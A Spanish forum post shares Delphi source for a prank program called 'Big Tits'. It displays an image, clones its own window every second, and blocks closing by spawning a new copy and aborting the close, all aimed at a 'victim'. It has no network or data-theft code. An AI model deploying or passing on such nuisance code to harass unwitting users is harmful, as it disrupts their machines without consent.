Si la victima no quiere cerrar la ventana puse un timer cada 1 segundo para que se multiplique de todas formas.
Hice algo asi en delphi , pondria una captura del programa en accion pero me borrarian la imagen xDD.
El codigo.
Código: Seleccionar todo
// Joke : Big Tits
// (C) Doddy Hackman 2013
unit big;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, acPNG, ExtCtrls, Math;
type
TForm1 = class(TForm)
Image1: TImage;
Timer1: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure nomepiensoir();
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.nomepiensoir;
// Based on : http://delphi.about.com/od/adptips2006/qt/formclone.htm
// Thanks to Zarko Gajic
var
parte1: TMemoryStream;
acatoy: TForm;
const
dimensiones: array [1 .. 5] of string = ('100', '200', '300', '400', '500');
begin
parte1 := TMemoryStream.Create;
parte1.WriteComponent(Form1);
parte1.Position := 0;
acatoy := TFormClass(Form1.ClassType).CreateNew(Application);
parte1.ReadComponent(acatoy);
acatoy.Left := Form1.Left + StrToInt(dimensiones[RandomRange(1, 5)]);
acatoy.Top := Form1.Top + StrToInt(dimensiones[RandomRange(1, 5)]);
acatoy.Show;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
nomepiensoir();
Abort;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
nomepiensoir();
end;
end.
// The End ?